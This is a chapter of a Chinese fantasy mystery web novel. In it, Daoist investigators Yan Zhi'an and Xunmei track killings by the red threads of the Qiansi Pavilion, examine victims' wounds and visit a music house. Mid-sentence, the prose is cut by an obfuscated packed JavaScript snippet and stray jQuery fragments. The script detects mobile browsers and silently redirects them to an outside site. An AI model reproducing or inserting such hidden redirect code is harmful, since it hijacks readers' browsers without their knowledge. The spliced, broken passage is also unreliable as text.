4. 第四章再生事端

作品:《百引戏

    原先颜之安也不知道,这些红线怕修道之人的鲜血和咒法,他那时只是疑惑,为什么红线穿过他胸膛的时候,没有吸他的血。


    可今日他看到红线,在接触到寻梅道长,血液的时候竟有些退缩,随后疯狂的进攻,显然是被激怒的样子。


    他和寻梅道长不同的方位,斩断红线,这次的红线没有再疯狂的生长,而是真的像是线一样,掉落在地上。


    解决完红线,他们两人从屋顶上飞下来,首富满脸横肉堆在脸上,笑得让人感觉像是一头猪,他握着了两人的手。


    在握颜之安的时候,摩挲半晌才肯撒手,那手黏糊糊的,颜之安蹙眉明显有些不悦。


    “多谢两位道长相助,要是你们今日我的小命就丢了,这个妖物可真是骇人,小柳快去准备美酒佳肴,招待两位道长。”


    小柳应了一声,连忙跑去准备,首富邀着颜之安他们进屋,还未进屋颜之安看向首富问道:“你是不是得罪什么人了。”


    闻言首富脸上的笑容僵住,“额,道长此话何意。”


    颜之安道:“据我所知,这红线出自牵丝阁,这个阁可操控妖鬼生人,虽说会肆意为祸,可他们只会夜里作乱,白日并不会出现,除非。”


    寻梅道长回首望向颜之安,“除非什么?”


    颜之安看向地上断了的红线,牵丝阁为了培养阁内门徒,也会出来接杀人的生意。“有人找他们来杀人。”


    首富脸色剧变,似乎想到什么,很快恢复往常笑道:“没有,我能得罪什么人啊!”


    颜之安盯着首富的神色,他矢口否认定然有鬼,颜之安抬眸刚想再问,首富便捂着脖子蹙眉满是痛苦的神色。


    他捂着脖子,可血还是顺着他的手,无法遏制地涌出,他挣扎着双手攀爬,想要进到屋内。


    颜之安回眸望去只看见,回鞘的寒刀。


    “站住。”颜之安飞身跃起,明明视线一直跟随着宁长离,可在他踏上屋顶的那一刻,人就已经不见踪影。


    寻梅道长蹲在地上,摸向首富的尸体,没有抬头就已经觉察,人早就不见了,“之安兄弟,回来吧!首富早就凉了。”


    闻言颜之安从屋顶跳下来,“怎么可能,不是刚刚才……”


    地上的红线募得消失,颜之安震惊地看着寻梅道长身上的伤口,正在以肉眼可见的速度,在恢复连衣服上的血迹都消失不见。


    寻梅道长颔首也发现了这一幕,他沉声道:“人已经死了两个时辰,也就是说在我们来之前,就已经死了。”


    四周环境也在变化,首富的血流在他们的脚下,颜之安道:“那我们刚刚所经历的,看到的受伤,全部都是幻象,他们大费周章,就是为了不让我们发现。


    寻梅道长站起身,“我们看到的,或许有一部分是之前发生的事。”


    颜之安蹲下身子,看着首富脖颈处,整齐的刀伤,与他见到的寒刀别无二致。


    首富死前,想要爬进屋内,颜之安顺着首富眼前的方向,看到一个木箱,木箱旁站着一个人,是刚刚接待他们的小柳。


    他浑身缠满红线,眼睛朝上翻着,嘴大张着,红线从嘴里涌出,像是一个被裹起来的蛹,看样子是和首富一起死的。


    颜之安和寻梅道长对视一眼,进屋打开木箱,金银珠宝名贵玉器,堆得满满当当,上面放着一本书,封面上写着“不和”二字,颜之安道:“这首富到死,也是惦记着他的钱。”


    他随意的翻开那本书,羡羊一百二十斤,送至东城西苑,赏银一两。骨烂五十斤,五十两,传于十家,至魏阳,为其主入山作炭……


    颜之安蹙眉这是账目?怎么写的乱七八糟?钱财也对不上帐,他合上账目,随手揣进怀里,“回府衙。”


    府衙前县令焦急地踱步,看到两人回来,连忙迎上去,可当看到两人面色不悦,心下咯噔一声,还是不愿相信问道:“之安,寻梅道长怎么样了,人救下来了吗?”


    两人垂眸摇头,颜之安鞠躬作揖缓缓道:“大人,我需要去看一下,知府大人的尸身。”


    县令没再多问,带着颜之安他们到了,府衙后面,他专门空出一间屋子,给知府停放尸身。


    这操控妖物的幕后之人,一日未抓他不敢,冒然将知府给下葬,上面必定要查,他也难辞其咎。


    人已经死了五天,刚一踏入院中,一阵恶臭便扑面而来,颜之安从袖中掏出三块面巾,他戴好之后,递给县令和寻梅道长。


    县令苦笑摇头,“之安,我就不进去了,我这也没什么用处。”


    颜之安笑着凑近低声道:“大人就不怕我们把知府大人的尸身,给毁了大卸八块。”


    县令瞪大眼睛气得跳脚,还是跟着他们进屋子,“颜之安你敢,再在这里戏弄本官,罚你两个月的俸禄。”


    屋内停靠着一张木板,颜之安掀开知府身上的白布,原先不胖的身体,现在变得肿胀不堪。


    身体已经变色发黑,嘴唇肿胀外翻,戴着面巾都无法遏制气味,颜之安只好屏息,他观察着知府脖颈上的伤口。


    血已经凝固,皮肤外翻泛白,刀口和首富脖子上的一模一样,手臂上还连着几缕红线,县令在一旁吐个不停。


    颜之安看完站起身,和寻梅道长对视一眼出去颜之安道:“果然和我们猜的没错,知府身上的伤口也是一样的。”


    “牵丝阁杀人又何须用刀呢!直接用红线将他们蚕食,吊在顶上就可以,何须这么费力。这个人跟牵丝阁也有关系,也许可以从他这里下手,追查牵丝阁。”


    寻梅道长点头道:“你是怎么得知,他与牵丝阁有关系?”


    颜之安边走边解释,“每次牵丝阁出现,他也会出现,知府身上也有牵丝阁的红线,只是不太明显。”


    他越想越觉得奇怪,那个人究竟有何目的,牵丝阁出现杀人,他也会出现阻止救我,可也会抢先杀了,牵丝阁要杀的人。


    又杀又救,他和牵丝阁似乎在作对,寻梅道长打断颜之安的思索,“之安兄弟,要不要去把县令给拉出来。”


    颜之安回头一看,县令正趴在门口,吐得昏天暗地,挣扎着想要往外出,颜之安刚想拒绝可看到县令这幅样子,也于心不忍。


    毕竟也是他要县令跟着进去的,他只是想着,县令跟在面前做个见证,没曾想县令吐成这样。


    颜之安将县令搀扶起来,县令感动得泪流满面,可颜之安一开口,县令对他的感动就半点不剩,“大人,知府大人该下葬了,尸身留着也没什么用。”


    县令又急又气,“怎么没用,知府身上的伤口痕迹,上面要是派人来查看怎么办。”


    他蹙眉瞥一眼县令,县令从他的目光中,竟有些悸动,这颜之安长得是真好看。


    颜之安道:“大人忘了不是还有仵作吗?让他们将知府大人的尸身,伤口记录便可,难道大人还想让,上面来盯着这幅尸身吗?”


    县令瞬间醍醐灌顶,他因为知府的死,乱了阵脚,连最基本的流程


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748570|174218||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    都抛诸脑后,只想着知府大人尸身,留着有大用。


    “大人,首富和知府被杀一案,我有线索,这两次我都见到了一个人,我需要画像全城追捕,眉眼冷峭,眼睛很亮桃花眼,薄唇鼻梁高挺,黑红色长袍,佩戴环臂甲一柄寒刀。”


    “我这就差人去办。”县令转身就往前堂走,他越走越纳闷怎么感觉,他像是在给颜之安办差一样,颜之安身上可真是有蛊。


    颜之安盯着画像师画完,和他所见的人出入不大,他才回去颜府,天已擦黑街上一个人影也没有。


    牵丝阁四处杀人闹的人心惶惶,都不敢出门,颜之安走到巷口,忽然感觉身后有异样,他转身脚已经被红线缠上,拖拽着他在大街上滑动。


    颜之安划破手臂,将血抹在红线上,默念咒语红线毫无反应,没有像白天一样瑟缩回去,这个红线根本就不怕,修道之人的血,颜之安蹙眉暗骂又被耍了,他拔出腰间长剑,默念咒语挥剑砍断红线。


    他突兀的停在街中间,红线消失了,四周一片黑寂,隐约听见远处传来,莺莺燕燕的声音,颜之安起身往声音的来源走去。


    月香楼,香气弥漫寻来这云雾,盘旋到街前,每走一步云雾散开,仿佛置若仙境,颜之安立在楼前,满楼红袖招,嬉笑着让颜之安进来。


    颜之安蹙眉踏进月香楼,忽闻琴声幽幽凄厉婉转,如泣如诉,颜之安穿过人群往后院走过去。


    掠过屏风便看到,赵瑾言在台上拨动琴弦,铛的一声琴声未落,紧接又一声,仅仅两声就把人带入了,塞北荒芜的沙漠,仿佛看到远边天空的大雁。


    曲罢赵瑾言抚平琴弦,站起身道:“北月你要这么弹才对。”


    北月怯生生道:“可是公子,客人们只喜欢淫词艳曲,这样的琴音太过高雅……”


    赵瑾言颔首随后他说出令人震惊的话,“那就不接这样的客人,我们月香楼向来只卖艺不卖身,抚琴品茗唱曲跳舞,我们都要做的最好。”


    “吸引一些文人雅士,谈生意的富贵子弟,那些粗鄙不堪的人,不接也罢!”


    北月她们一行人面面相觑,她们是从浮华楼里被转卖到这里,以为还和从前一样,结果赵瑾言告诉她们不必卖身,只弹琴跳舞,这对她们来说,简直就是知遇之恩。


    她们朝着赵瑾言深施一礼,赵瑾言扶起她们道:“以后你们就把这里当家,我在与不在这里依旧按照,我说的方法招揽生意,我们这是提供让诸位名士,可以小憩谈生意的地方。”


    众人点头退下,颜之安才出来道:“这么晚了你怎么还不回府,今夜别回了外面不安全,牵丝阁的红线又在四处杀人,我也是被红线捉住,拖到这里来的。”


    赵瑾言挠挠头一脸茫然,“红线?什么红线,红线还能杀人。”


    “街上接连惨死失踪的人,你都不知道?”


    赵瑾言搂着颜之安的脖子道:“之安,我都一个月没有回府了,晚上也在月香楼睡,哪有空管外面发生什么事。”


    颜之安无语他闭眼缓了一会儿,“没有听到传闻街上死人了吗?”


    赵瑾言点头,“是听说了,但不知道红线还能杀人,勒死的吗。”


    他叹口气这赵瑾言的脑子,也不知道是怎么长得,“我回去了,最近晚上不要在大街上乱晃。”


    赵瑾言给颜之安送至门口,“之安过几日来月香楼,我请你吃饭喝酒,新招的厨子。”


    颜之安挥手只给赵瑾言一个背影,“过几日再说吧!”